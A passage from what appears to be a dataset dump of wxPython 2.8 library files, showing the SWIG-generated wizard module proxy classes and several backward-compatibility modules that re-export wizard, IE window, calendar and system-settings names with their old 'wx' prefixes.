1)\nEVT_WIZARD_FINISHED = wx.PyEventBinder( wxEVT_WIZARD_FINISHED, 1)\n\nclass WizardEvent(_core.NotifyEvent):\n \"\"\"Proxy of C++ WizardEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, EventType type=wxEVT_NULL, int id=-1, bool direction=True, \n WizardPage page=None) -> WizardEvent\n \"\"\"\n _wizard.WizardEvent_swiginit(self,_wizard.new_WizardEvent(*args, **kwargs))\n def GetDirection(*args, **kwargs):\n \"\"\"GetDirection(self) -> bool\"\"\"\n return _wizard.WizardEvent_GetDirection(*args, **kwargs)\n\n def GetPage(*args, **kwargs):\n \"\"\"GetPage(self) -> WizardPage\"\"\"\n return _wizard.WizardEvent_GetPage(*args, **kwargs)\n\n Direction = property(GetDirection,doc=\"See `GetDirection`\") \n Page = property(GetPage,doc=\"See `GetPage`\") \n_wizard.WizardEvent_swigregister(WizardEvent)\n\nclass WizardPage(_windows.Panel):\n \"\"\"Proxy of C++ WizardPage class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n def Create(*args, **kwargs):\n \"\"\"Create(self, Wizard parent, Bitmap bitmap=wxNullBitmap, String resource=EmptyString) -> bool\"\"\"\n return _wizard.WizardPage_Create(*args, **kwargs)\n\n def GetPrev(*args, **kwargs):\n \"\"\"GetPrev(self) -> WizardPage\"\"\"\n return _wizard.WizardPage_GetPrev(*args, **kwargs)\n\n def GetNext(*args, **kwargs):\n \"\"\"GetNext(self) -> WizardPage\"\"\"\n return _wizard.WizardPage_GetNext(*args, **kwargs)\n\n def GetBitmap(*args, **kwargs):\n \"\"\"GetBitmap(self) -> Bitmap\"\"\"\n return _wizard.WizardPage_GetBitmap(*args, **kwargs)\n\n Bitmap = property(GetBitmap,doc=\"See `GetBitmap`\") \n Next = property(GetNext,doc=\"See `GetNext`\") \n Prev = property(GetPrev,doc=\"See `GetPrev`\") \n_wizard.WizardPage_swigregister(WizardPage)\n\nclass PyWizardPage(WizardPage):\n \"\"\"Proxy of C++ PyWizardPage class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, Wizard parent, Bitmap bitmap=&wxNullBitmap, String resource=&wxPyEmptyString) -> PyWizardPage\"\"\"\n _wizard.PyWizardPage_swiginit(self,_wizard.new_PyWizardPage(*args, **kwargs))\n self._setOORInfo(self);PyWizardPage._setCallbackInfo(self, self, PyWizardPage)\n\n def Create(*args, **kwargs):\n \"\"\"Create(self, Wizard parent, Bitmap bitmap=wxNullBitmap, String resource=EmptyString) -> bool\"\"\"\n return _wizard.PyWizardPage_Create(*args, **kwargs)\n\n def _setCallbackInfo(*args, **kwargs):\n \"\"\"_setCallbackInfo(self, PyObject self, PyObject _class)\"\"\"\n return _wizard.PyWizardPage__setCallbackInfo(*args, **kwargs)\n\n def DoMoveWindow(*args, **kwargs):\n \"\"\"DoMoveWindow(self, int x, int y, int width, int height)\"\"\"\n return _wizard.PyWizardPage_DoMoveWindow(*args, **kwargs)\n\n def DoSetSize(*args, **kwargs):\n \"\"\"DoSetSize(self, int x, int y, int width, int height, int sizeFlags=SIZE_AUTO)\"\"\"\n return _wizard.PyWizardPage_DoSetSize(*args, **kwargs)\n\n def DoSetClientSize(*args, **kwargs):\n \"\"\"DoSetClientSize(self, int width, int height)\"\"\"\n return _wizard.PyWizardPage_DoSetClientSize(*args, **kwargs)\n\n def DoSetVirtualSize(*args, **kwargs):\n \"\"\"DoSetVirtualSize(self, int x, int y)\"\"\"\n return _wizard.PyWizardPage_DoSetVirtualSize(*args, **kwargs)\n\n def DoGetSize(*args, **kwargs):\n \"\"\"DoGetSize() -> (width, height)\"\"\"\n return _wizard.PyWizardPage_DoGetSize(*args, **kwargs)\n\n def DoGetClientSize(*args, **kwargs):\n \"\"\"DoGetClientSize() -> (width, height)\"\"\"\n return _wizard.PyWizardPage_DoGetClientSize(*args, **kwargs)\n\n def DoGetPosition(*args, **kwargs):\n \"\"\"DoGetPosition() -> (x,y)\"\"\"\n return _wizard.PyWizardPage_DoGetPosition(*args, **kwargs)\n\n def DoGetVirtualSize(*args, **kwargs):\n \"\"\"DoGetVirtualSize(self) -> Size\"\"\"\n return _wizard.PyWizardPage_DoGetVirtualSize(*args, **kwargs)\n\n def DoGetBestSize(*args, **kwargs):\n \"\"\"DoGetBestSize(self) -> Size\"\"\"\n return _wizard.PyWizardPage_DoGetBestSize(*args, **kwargs)\n\n def GetDefaultAttributes(*args, **kwargs):\n \"\"\"GetDefaultAttributes(self) -> VisualAttributes\"\"\"\n return _wizard.PyWizardPage_GetDefaultAttributes(*args, **kwargs)\n\n def OnInternalIdle(*args, **kwargs):\n \"\"\"OnInternalIdle(self)\"\"\"\n return _wizard.PyWizardPage_OnInternalIdle(*args, **kwargs)\n\n def base_DoMoveWindow(*args, **kw):\n return PyWizardPage.DoMoveWindow(*args, **kw)\n base_DoMoveWindow = wx._deprecated(base_DoMoveWindow,\n \"Please use PyWizardPage.DoMoveWindow instead.\")\n\n def base_DoSetSize(*args, **kw):\n return PyWizardPage.DoSetSize(*args, **kw)\n base_DoSetSize = wx._deprecated(base_DoSetSize,\n \"Please use PyWizardPage.DoSetSize instead.\")\n\n def base_DoSetClientSize(*args, **kw):\n return PyWizardPage.DoSetClientSize(*args, **kw)\n base_DoSetClientSize = wx._deprecated(base_DoSetClientSize,\n \"Please use PyWizardPage.DoSetClientSize instead.\")\n\n def base_DoSetVirtualSize(*args, **kw):\n return PyWizardPage.DoSetVirtualSize(*args, **kw)\n base_DoSetVirtualSize = wx._deprecated(base_DoSetVirtualSize,\n \"Please use PyWizardPage.DoSetVirtualSize instead.\")\n\n def base_DoGetSize(*args, **kw):\n return PyWizardPage.DoGetSize(*args, **kw)\n base_DoGetSize = wx._deprecated(base_DoGetSize,\n \"Please use PyWizardPage.DoGetSize instead.\")\n\n def base_DoGetClientSize(*args, **kw):\n return PyWizardPage.DoGetClientSize(*args, **kw)\n base_DoGetClientSize = wx._deprecated(base_DoGetClientSize,\n \"Please use PyWizardPage.DoGetClientSize instead.\")\n\n def base_DoGetPosition(*args, **kw):\n return PyWizardPage.DoGetPosition(*args, **kw)\n base_DoGetPosition = wx._deprecated(base_DoGetPosition,\n \"Please use PyWizardPage.DoGetPosition instead.\")\n\n def base_DoGetVirtualSize(*args, **kw):\n return PyWizardPage.DoGetVirtualSize(*args, **kw)\n base_DoGetVirtualSize = wx._deprecated(base_DoGetVirtualSize,\n \"Please use PyWizardPage.DoGetVirtualSize instead.\")\n\n def base_DoGetBestSize(*args, **kw):\n return PyWizardPage.DoGetBestSize(*args, **kw)\n base_DoGetBestSize = wx._deprecated(base_DoGetBestSize,\n \"Please use PyWizardPage.DoGetBestSize instead.\")\n\n def base_InitDialog(*args, **kw):\n return PyWizardPage.InitDialog(*args, **kw)\n base_InitDialog = wx._deprecated(base_InitDialog,\n \"Please use PyWizardPage.InitDialog instead.\")\n\n def base_TransferDataToWindow(*args, **kw):\n return PyWizardPage.TransferDataToWindow(*args, **kw)\n base_TransferDataToWindow = wx._deprecated(base_TransferDataToWindow,\n \"Please use PyWizardPage.TransferDataToWindow instead.\")\n\n def base_TransferDataFromWindow(*args, **kw):\n return PyWizardPage.TransferDataFromWindow(*args, **kw)\n base_TransferDataFromWindow = wx._deprecated(base_TransferDataFromWindow,\n \"Please use PyWizardPage.TransferDataFromWindow instead.\")\n\n def base_Validate(*args, **kw):\n return PyWizardPage.Validate(*args, **kw)\n base_Validate = wx._deprecated(base_Validate,\n \"Please use PyWizardPage.Validate instead.\")\n\n def base_AcceptsFocus(*args, **kw):\n return PyWizardPage.AcceptsFocus(*args, **kw)\n base_AcceptsFocus = wx._deprecated(base_AcceptsFocus,\n \"Please use PyWizardPage.AcceptsFocus instead.\")\n\n def base_AcceptsFocusFromKeyboard(*args, **kw):\n return PyWizardPage.AcceptsFocusFromKeyboard(*args, **kw)\n base_AcceptsFocusFromKeyboard = wx._deprecated(base_AcceptsFocusFromKeyboard,\n \"Please use PyWizardPage.AcceptsFocusFromKeyboard instead.\")\n\n def base_GetMaxSize(*args, **kw):\n return PyWizardPage.GetMaxSize(*args, **kw)\n base_GetMaxSize = wx._deprecated(base_GetMaxSize,\n \"Please use PyWizardPage.GetMaxSize instead.\")\n\n def base_AddChild(*args, **kw):\n return PyWizardPage.AddChild(*args, **kw)\n base_AddChild = wx._deprecated(base_AddChild,\n \"Please use PyWizardPage.AddChild instead.\")\n\n def base_RemoveChild(*args, **kw):\n return PyWizardPage.RemoveChild(*args, **kw)\n base_RemoveChild = wx._deprecated(base_RemoveChild,\n \"Please use PyWizardPage.RemoveChild instead.\")\n\n def base_ShouldInheritColours(*args, **kw):\n return PyWizardPage.ShouldInheritColours(*args, **kw)\n base_ShouldInheritColours = wx._deprecated(base_ShouldInheritColours,\n \"Please use PyWizardPage.ShouldInheritColours instead.\")\n\n def base_GetDefaultAttributes(*args, **kw):\n return PyWizardPage.GetDefaultAttributes(*args, **kw)\n base_GetDefaultAttributes = wx._deprecated(base_GetDefaultAttributes,\n \"Please use PyWizardPage.GetDefaultAttributes instead.\")\n\n def base_OnInternalIdle(*args, **kw):\n return PyWizardPage.OnInternalIdle(*args, **kw)\n base_OnInternalIdle = wx._deprecated(base_OnInternalIdle,\n \"Please use PyWizardPage.OnInternalIdle instead.\")\n\n_wizard.PyWizardPage_swigregister(PyWizardPage)\n\ndef PrePyWizardPage(*args, **kwargs):\n \"\"\"PrePyWizardPage() -> PyWizardPage\"\"\"\n val = _wizard.new_PrePyWizardPage(*args, **kwargs)\n return val\n\nclass WizardPageSimple(WizardPage):\n \"\"\"Proxy of C++ WizardPageSimple class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Wizard parent, WizardPage prev=None, WizardPage next=None, \n Bitmap bitmap=wxNullBitmap, wxChar resource=None) -> WizardPageSimple\n \"\"\"\n _wizard.WizardPageSimple_swiginit(self,_wizard.new_WizardPageSimple(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Wizard parent=None, WizardPage prev=None, WizardPage next=None, \n Bitmap bitmap=wxNullBitmap, wxChar resource=None) -> bool\n \"\"\"\n return _wizard.WizardPageSimple_Create(*args, **kwargs)\n\n def SetPrev(*args, **kwargs):\n \"\"\"SetPrev(self, WizardPage prev)\"\"\"\n return _wizard.WizardPageSimple_SetPrev(*args, **kwargs)\n\n def SetNext(*args, **kwargs):\n \"\"\"SetNext(self, WizardPage next)\"\"\"\n return _wizard.WizardPageSimple_SetNext(*args, **kwargs)\n\n def Chain(*args, **kwargs):\n \"\"\"Chain(WizardPageSimple first, WizardPageSimple second)\"\"\"\n return _wizard.WizardPageSimple_Chain(*args, **kwargs)\n\n Chain = staticmethod(Chain)\n_wizard.WizardPageSimple_swigregister(WizardPageSimple)\n\ndef PreWizardPageSimple(*args, **kwargs):\n \"\"\"PreWizardPageSimple() -> WizardPageSimple\"\"\"\n val = _wizard.new_PreWizardPageSimple(*args, **kwargs)\n return val\n\ndef WizardPageSimple_Chain(*args, **kwargs):\n \"\"\"WizardPageSimple_Chain(WizardPageSimple first, WizardPageSimple second)\"\"\"\n return _wizard.WizardPageSimple_Chain(*args, **kwargs)\n\nclass Wizard(_windows.Dialog):\n \"\"\"Proxy of C++ Wizard class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, String title=EmptyString, \n Bitmap bitmap=wxNullBitmap, Point pos=DefaultPosition, \n long style=DEFAULT_DIALOG_STYLE) -> Wizard\n \"\"\"\n _wizard.Wizard_swiginit(self,_wizard.new_Wizard(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, String title=EmptyString, \n Bitmap bitmap=wxNullBitmap, Point pos=DefaultPosition) -> bool\n \"\"\"\n return _wizard.Wizard_Create(*args, **kwargs)\n\n def Init(*args, **kwargs):\n \"\"\"Init(self)\"\"\"\n return _wizard.Wizard_Init(*args, **kwargs)\n\n def RunWizard(*args, **kwargs):\n \"\"\"RunWizard(self, WizardPage firstPage) -> bool\"\"\"\n return _wizard.Wizard_RunWizard(*args, **kwargs)\n\n def GetCurrentPage(*args, **kwargs):\n \"\"\"GetCurrentPage(self) -> WizardPage\"\"\"\n return _wizard.Wizard_GetCurrentPage(*args, **kwargs)\n\n def SetPageSize(*args, **kwargs):\n \"\"\"SetPageSize(self, Size size)\"\"\"\n return _wizard.Wizard_SetPageSize(*args, **kwargs)\n\n def GetPageSize(*args, **kwargs):\n \"\"\"GetPageSize(self) -> Size\"\"\"\n return _wizard.Wizard_GetPageSize(*args, **kwargs)\n\n def FitToPage(*args, **kwargs):\n \"\"\"FitToPage(self, WizardPage firstPage)\"\"\"\n return _wizard.Wizard_FitToPage(*args, **kwargs)\n\n def GetPageAreaSizer(*args, **kwargs):\n \"\"\"GetPageAreaSizer(self) -> Sizer\"\"\"\n return _wizard.Wizard_GetPageAreaSizer(*args, **kwargs)\n\n def SetBorder(*args, **kwargs):\n \"\"\"SetBorder(self, int border)\"\"\"\n return _wizard.Wizard_SetBorder(*args, **kwargs)\n\n def GetBitmap(*args, **kwargs):\n \"\"\"GetBitmap(self) -> Bitmap\"\"\"\n return _wizard.Wizard_GetBitmap(*args, **kwargs)\n\n def SetBitmap(*args, **kwargs):\n \"\"\"SetBitmap(self, Bitmap bitmap)\"\"\"\n return _wizard.Wizard_SetBitmap(*args, **kwargs)\n\n def IsRunning(*args, **kwargs):\n \"\"\"IsRunning(self) -> bool\"\"\"\n return _wizard.Wizard_IsRunning(*args, **kwargs)\n\n def ShowPage(*args, **kwargs):\n \"\"\"ShowPage(self, WizardPage page, bool goingForward=True) -> bool\"\"\"\n return _wizard.Wizard_ShowPage(*args, **kwargs)\n\n def HasNextPage(*args, **kwargs):\n \"\"\"HasNextPage(self, WizardPage page) -> bool\"\"\"\n return _wizard.Wizard_HasNextPage(*args, **kwargs)\n\n def HasPrevPage(*args, **kwargs):\n \"\"\"HasPrevPage(self, WizardPage page) -> bool\"\"\"\n return _wizard.Wizard_HasPrevPage(*args, **kwargs)\n\n Bitmap = property(GetBitmap,SetBitmap) \n CurrentPage = property(GetCurrentPage,doc=\"See `GetCurrentPage`\") \n PageAreaSizer = property(GetPageAreaSizer,doc=\"See `GetPageAreaSizer`\") \n PageSize = property(GetPageSize,SetPageSize,doc=\"See `GetPageSize` and `SetPageSize`\") \n_wizard.Wizard_swigregister(Wizard)\n\ndef PreWizard(*args, **kwargs):\n \"\"\"PreWizard() -> Wizard\"\"\"\n val = _wizard.new_PreWizard(*args, **kwargs)\n return val\n\n\n\n", "id": "10042523", "language": "Python", "matching_score": 3.972698926925659, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/wizard.py" }, { "content": "## This file reverse renames symbols in the wx package to give\n## them their wx prefix again, for backwards compatibility.\n##\n## Generated by BuildRenamers in config.py\n\n# This silly stuff here is so the wxPython.wx module doesn't conflict\n# with the wx package. We need to import modules from the wx package\n# here, then we'll put the wxPython.wx entry back in sys.modules.\nimport sys\n_wx = None\nif sys.modules.has_key('wxPython.wx'):\n _wx = sys.modules['wxPython.wx']\n del sys.modules['wxPython.wx']\n\nimport wx.wizard\n\nsys.modules['wxPython.wx'] = _wx\ndel sys, _wx\n\n\n# Now assign all the reverse-renamed names:\nwxWIZARD_EX_HELPBUTTON = wx.wizard.WIZARD_EX_HELPBUTTON\nwxEVT_WIZARD_PAGE_CHANGED = wx.wizard.wxEVT_WIZARD_PAGE_CHANGED\nwxEVT_WIZARD_PAGE_CHANGING = wx.wizard.wxEVT_WIZARD_PAGE_CHANGING\nwxEVT_WIZARD_CANCEL = wx.wizard.wxEVT_WIZARD_CANCEL\nwxEVT_WIZARD_HELP = wx.wizard.wxEVT_WIZARD_HELP\nwxEVT_WIZARD_FINISHED = wx.wizard.wxEVT_WIZARD_FINISHED\nwxWizardEvent = wx.wizard.WizardEvent\nwxWizardPage = wx.wizard.WizardPage\nwxPyWizardPage = wx.wizard.PyWizardPage\nwxPrePyWizardPage = wx.wizard.PrePyWizardPage\nwxWizardPageSimple = wx.wizard.WizardPageSimple\nwxPreWizardPageSimple = wx.wizard.PreWizardPageSimple\nwxWizardPageSimple_Chain = wx.wizard.WizardPageSimple_Chain\nwxWizard = wx.wizard.Wizard\nwxPreWizard = wx.wizard.PreWizard\n\n\nd = globals()\nfor k, v in wx.wizard.__dict__.iteritems():\n if k.startswith('EVT'):\n d[k] = v\ndel d, k, v\n\n\n\n", "id": "12533837", "language": "Python", "matching_score": 1.662082552909851, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/wizard.py" }, { "content": "## This file reverse renames symbols in the wx package to give\n## them their wx prefix again, for backwards compatibility.\n##\n## Generated by BuildRenamers in config.py\n\n# This silly stuff here is so the wxPython.wx module doesn't conflict\n# with the wx package. We need to import modules from the wx package\n# here, then we'll put the wxPython.wx entry back in sys.modules.\nimport sys\n_wx = None\nif sys.modules.has_key('wxPython.wx'):\n _wx = sys.modules['wxPython.wx']\n del sys.modules['wxPython.wx']\n\nimport wx.iewin\n\nsys.modules['wxPython.wx'] = _wx\ndel sys, _wx\n\n\n# Now assign all the reverse-renamed names:\nwxMSHTMLEvent = wx.iewin.MSHTMLEvent\nwxMSHTMLEventPtr = wx.iewin.MSHTMLEventPtr\nwxEVT_COMMAND_MSHTML_BEFORENAVIGATE2 = wx.iewin.wxEVT_COMMAND_MSHTML_BEFORENAVIGATE2\nwxEVT_COMMAND_MSHTML_NEWWINDOW2 = wx.iewin.wxEVT_COMMAND_MSHTML_NEWWINDOW2\nwxEVT_COMMAND_MSHTML_DOCUMENTCOMPLETE = wx.iewin.wxEVT_COMMAND_MSHTML_DOCUMENTCOMPLETE\nwxEVT_COMMAND_MSHTML_PROGRESSCHANGE = wx.iewin.wxEVT_COMMAND_MSHTML_PROGRESSCHANGE\nwxEVT_COMMAND_MSHTML_STATUSTEXTCHANGE = wx.iewin.wxEVT_COMMAND_MSHTML_STATUSTEXTCHANGE\nwxEVT_COMMAND_MSHTML_TITLECHANGE = wx.iewin.wxEVT_COMMAND_MSHTML_TITLECHANGE\nwxIEHTML_REFRESH_NORMAL = wx.iewin.IEHTML_REFRESH_NORMAL\nwxIEHTML_REFRESH_IFEXPIRED = wx.iewin.IEHTML_REFRESH_IFEXPIRED\nwxIEHTML_REFRESH_CONTINUE = wx.iewin.IEHTML_REFRESH_CONTINUE\nwxIEHTML_REFRESH_COMPLETELY = wx.iewin.IEHTML_REFRESH_COMPLETELY\nwxIEHtmlWin = wx.iewin.IEHtmlWin\nwxIEHtmlWinPtr = wx.iewin.IEHtmlWinPtr\n\n\nd = globals()\nfor k, v in wx.iewin.__dict__.iteritems():\n if k.startswith('EVT'):\n d[k] = v\ndel d, k, v\n\n\n\n", "id": "4226174", "language": "Python", "matching_score": 2.217435121536255, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/iewin.py" }, { "content": "## This file reverse renames symbols in the wx package to give\n## them their wx prefix again, for backwards compatibility.\n##\n## Generated by BuildRenamers in config.py\n\n# This silly stuff here is so the wxPython.wx module doesn't conflict\n# with the wx package. We need to import modules from the wx package\n# here, then we'll put the wxPython.wx entry back in sys.modules.\nimport sys\n_wx = None\nif sys.modules.has_key('wxPython.wx'):\n _wx = sys.modules['wxPython.wx']\n del sys.modules['wxPython.wx']\n\nimport wx.calendar\n\nsys.modules['wxPython.wx'] = _wx\ndel sys, _wx\n\n\n# Now assign all the reverse-renamed names:\nwxCAL_SUNDAY_FIRST = wx.calendar.CAL_SUNDAY_FIRST\nwxCAL_MONDAY_FIRST = wx.calendar.CAL_MONDAY_FIRST\nwxCAL_SHOW_HOLIDAYS = wx.calendar.CAL_SHOW_HOLIDAYS\nwxCAL_NO_YEAR_CHANGE = wx.calendar.CAL_NO_YEAR_CHANGE\nwxCAL_NO_MONTH_CHANGE = wx.calendar.CAL_NO_MONTH_CHANGE\nwxCAL_SEQUENTIAL_MONTH_SELECTION = wx.calendar.CAL_SEQUENTIAL_MONTH_SELECTION\nwxCAL_SHOW_SURROUNDING_WEEKS = wx.calendar.CAL_SHOW_SURROUNDING_WEEKS\nwxCAL_HITTEST_NOWHERE = wx.calendar.CAL_HITTEST_NOWHERE\nwxCAL_HITTEST_HEADER = wx.calendar.CAL_HITTEST_HEADER\nwxCAL_HITTEST_DAY = wx.calendar.CAL_HITTEST_DAY\nwxCAL_HITTEST_INCMONTH = wx.calendar.CAL_HITTEST_INCMONTH\nwxCAL_HITTEST_DECMONTH = wx.calendar.CAL_HITTEST_DECMONTH\nwxCAL_HITTEST_SURROUNDING_WEEK = wx.calendar.CAL_HITTEST_SURROUNDING_WEEK\nwxCAL_BORDER_NONE = wx.calendar.CAL_BORDER_NONE\nwxCAL_BORDER_SQUARE = wx.calendar.CAL_BORDER_SQUARE\nwxCAL_BORDER_ROUND = wx.calendar.CAL_BORDER_ROUND\nwxCalendarDateAttr = wx.calendar.CalendarDateAttr\nwxCalendarEvent = wx.calendar.CalendarEvent\nwxEVT_CALENDAR_DOUBLECLICKED = wx.calendar.wxEVT_CALENDAR_DOUBLECLICKED\nwxEVT_CALENDAR_SEL_CHANGED = wx.calendar.wxEVT_CALENDAR_SEL_CHANGED\nwxEVT_CALENDAR_DAY_CHANGED = wx.calendar.wxEVT_CALENDAR_DAY_CHANGED\nwxEVT_CALENDAR_MONTH_CHANGED = wx.calendar.wxEVT_CALENDAR_MONTH_CHANGED\nwxEVT_CALENDAR_YEAR_CHANGED = wx.calendar.wxEVT_CALENDAR_YEAR_CHANGED\nwxEVT_CALENDAR_WEEKDAY_CLICKED = wx.calendar.wxEVT_CALENDAR_WEEKDAY_CLICKED\nwxCalendarNameStr = wx.calendar.CalendarNameStr\nwxCalendarCtrl = wx.calendar.CalendarCtrl\nwxPreCalendarCtrl = wx.calendar.PreCalendarCtrl\nwxCalendarCtrl_GetClassDefaultAttributes = wx.calendar.CalendarCtrl_GetClassDefaultAttributes\n\n\nd = globals()\nfor k, v in wx.calendar.__dict__.iteritems():\n if k.startswith('EVT'):\n d[k] = v\ndel d, k, v\n\n\n\n", "id": "3493798", "language": "Python", "matching_score": 1.8745287656784058, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/calendar.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\n\nimport wx.lib.calendar\n\n__doc__ = wx.lib.calendar.__doc__\n\nwxEVT_COMMAND_PYCALENDAR_DAY_CLICKED = wx.lib.calendar.wxEVT_COMMAND_PYCALENDAR_DAY_CLICKED\nEVT_CALENDAR = wx.lib.calendar.EVT_CALENDAR\n\n\nDate = wx.lib.calendar.Date\nFillDate = wx.lib.calendar.FillDate\nFormatDay = wx.lib.calendar.FormatDay\nFromJulian = wx.lib.calendar.FromJulian\nTodayDay = wx.lib.calendar.TodayDay\ndayOfWeek = wx.lib.calendar.dayOfWeek\ndaysPerMonth = wx.lib.calendar.daysPerMonth\nisleap = wx.lib.calendar.isleap\njulianDay = wx.lib.calendar.julianDay\nleapdays = wx.lib.calendar.leapdays\nnow = wx.lib.calendar.now\nMonth = wx.lib.calendar.Month\nmdays = wx.lib.calendar.mdays\nday_name = wx.lib.calendar.day_name\nday_abbr = wx.lib.calendar.day_abbr\n\n\nCalDraw = wx.lib.calendar.CalDraw\nCalenDlg = wx.lib.calendar.CalenDlg\nGetMonthList = wx.lib.calendar.GetMonthList\nPrtCalDraw = wx.lib.calendar.PrtCalDraw\nwxCalendar = wx.lib.calendar.Calendar\n\nwxEVT_COMMAND_PYCALENDAR_DAY_CLICKED = wx.lib.calendar.wxEVT_COMMAND_PYCALENDAR_DAY_CLICKED\nEVT_CALENDAR = wx.lib.calendar.EVT_CALENDAR\n", "id": "5831424", "language": "Python", "matching_score": 3.7264041900634766, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/calendar.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\n\nimport wx.lib.CDate\n\n__doc__ = wx.lib.CDate.__doc__\n\nDate = wx.lib.CDate.Date\nFillDate = wx.lib.CDate.FillDate\nFormatDay = wx.lib.CDate.FormatDay\nFromJulian = wx.lib.CDate.FromJulian\nTodayDay = wx.lib.CDate.TodayDay\ndayOfWeek = wx.lib.CDate.dayOfWeek\ndaysPerMonth = wx.lib.CDate.daysPerMonth\nisleap = wx.lib.CDate.isleap\njulianDay = wx.lib.CDate.julianDay\nleapdays = wx.lib.CDate.leapdays\nnow = wx.lib.CDate.now\n", "id": "3728031", "language": "Python", "matching_score": 0.09084121882915497, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/CDate.py" }, { "content": "## This file reverse renames symbols in the wx package to give\n## them their wx prefix again, for backwards compatibility.\n##\n## Generated by BuildRenamers in config.py\n\n# This silly stuff here is so the wxPython.wx module doesn't conflict\n# with the wx package. We need to import modules from the wx package\n# here, then we'll put the wxPython.wx entry back in sys.modules.\nimport sys\n_wx = None\nif sys.modules.has_key('wxPython.wx'):\n _wx = sys.modules['wxPython.wx']\n del sys.modules['wxPython.wx']\n\nimport wx._misc\n\nsys.modules['wxPython.wx'] = _wx\ndel sys, _wx\n\n\n# Now assign all the reverse-renamed names:\nwxSYS_OEM_FIXED_FONT = wx._misc.SYS_OEM_FIXED_FONT\nwxSYS_ANSI_FIXED_FONT = wx._misc.SYS_ANSI_FIXED_FONT\nwxSYS_ANSI_VAR_FONT = wx._misc.SYS_ANSI_VAR_FONT\nwxSYS_SYSTEM_FONT = wx._misc.SYS_SYSTEM_FONT\nwxSYS_DEVICE_DEFAULT_FONT = wx._misc.SYS_DEVICE_DEFAULT_FONT\nwxSYS_DEFAULT_PALETTE = wx._misc.SYS_DEFAULT_PALETTE\nwxSYS_SYSTEM_FIXED_FONT = wx._misc.SYS_SYSTEM_FIXED_FONT\nwxSYS_DEFAULT_GUI_FONT = wx._misc.SYS_DEFAULT_GUI_FONT\nwxSYS_ICONTITLE_FONT = wx._misc.SYS_ICONTITLE_FONT\nwxSYS_COLOUR_SCROLLBAR = wx._misc.SYS_COLOUR_SCROLLBAR\nwxSYS_COLOUR_BACKGROUND = wx._misc.SYS_COLOUR_BACKGROUND\nwxSYS_COLOUR_DESKTOP = wx._misc.SYS_COLOUR_DESKTOP\nwxSYS_COLOUR_ACTIVECAPTION = wx._misc.SYS_COLOUR_ACTIVECAPTION\nwxSYS_COLOUR_INACTIVECAPTION = wx._misc.SYS_COLOUR_INACTIVECAPTION\nwxSYS_COLOUR_MENU = wx._misc.SYS_COLOUR_MENU\nwxSYS_COLOUR_WINDOW = wx._misc.SYS_COLOUR_WINDOW\nwxSYS_COLOUR_WINDOWFRAME = wx._misc.SYS_COLOUR_WINDOWFRAME\nwxSYS_COLOUR_MENUTEXT = wx._misc.SYS_COLOUR_MENUTEXT\nwxSYS_COLOUR_WINDOWTEXT = wx._misc.SYS_COLOUR_WINDOWTEXT\nwxSYS_COLOUR_CAPTIONTEXT = wx._misc.SYS_COLOUR_CAPTIONTEXT\nwxSYS_COLOUR_ACTIVEBORDER = wx._misc.SYS_COLOUR_ACTIVEBORDER\nwxSYS_COLOUR_INACTIVEBORDER = wx._misc.SYS_COLOUR_INACTIVEBORDER\nwxSYS_COLOUR_APPWORKSPACE = wx._misc.SYS_COLOUR_APPWORKSPACE\nwxSYS_COLOUR_HIGHLIGHT = wx._misc.SYS_COLOUR_HIGHLIGHT\nwxSYS_COLOUR_HIGHLIGHTTEXT = wx._misc.SYS_COLOUR_HIGHLIGHTTEXT\nwxSYS_COLOUR_BTNFACE = wx._misc.SYS_COLOUR_BTNFACE\nwxSYS_COLOUR_3DFACE = wx._misc.SYS_COLOUR_3DFACE\nwxSYS_COLOUR_BTNSHADOW = wx._misc.SYS_COLOUR_BTNSHADOW\nwxSYS_COLOUR_3DSHADOW = wx._misc.SYS_COLOUR_3DSHADOW\nwxSYS_COLOUR_GRAYTEXT = wx._misc.SYS_COLOUR_GRAYTEXT\nwxSYS_COLOUR_BTNTEXT = wx._misc.SYS_COLOUR_BTNTEXT\nwxSYS_COLOUR_INACTIVECAPTIONTEXT = wx._misc.SYS_COLOUR_INACTIVECAPTIONTEXT\nwxSYS_COLOUR_BTNHIGHLIGHT = wx._misc.SYS_COLOUR_BTNHIGHLIGHT\nwxSYS_COLOUR_BTNHILIGHT = wx._misc.SYS_COLOUR_BTNHILIGHT\nwxSYS_COLOUR_3DHIGHLIGHT = wx._misc.SYS_COLOUR_3DHIGHLIGHT\nwxSYS_COLOUR_3DHILIGHT = wx._misc.SYS_COLOUR_3DHILIGHT\nwxSYS_COLOUR_3DDKSHADOW = wx._misc.SYS_COLOUR_3DDKSHADOW\nwxSYS_COLOUR_3DLIGHT = 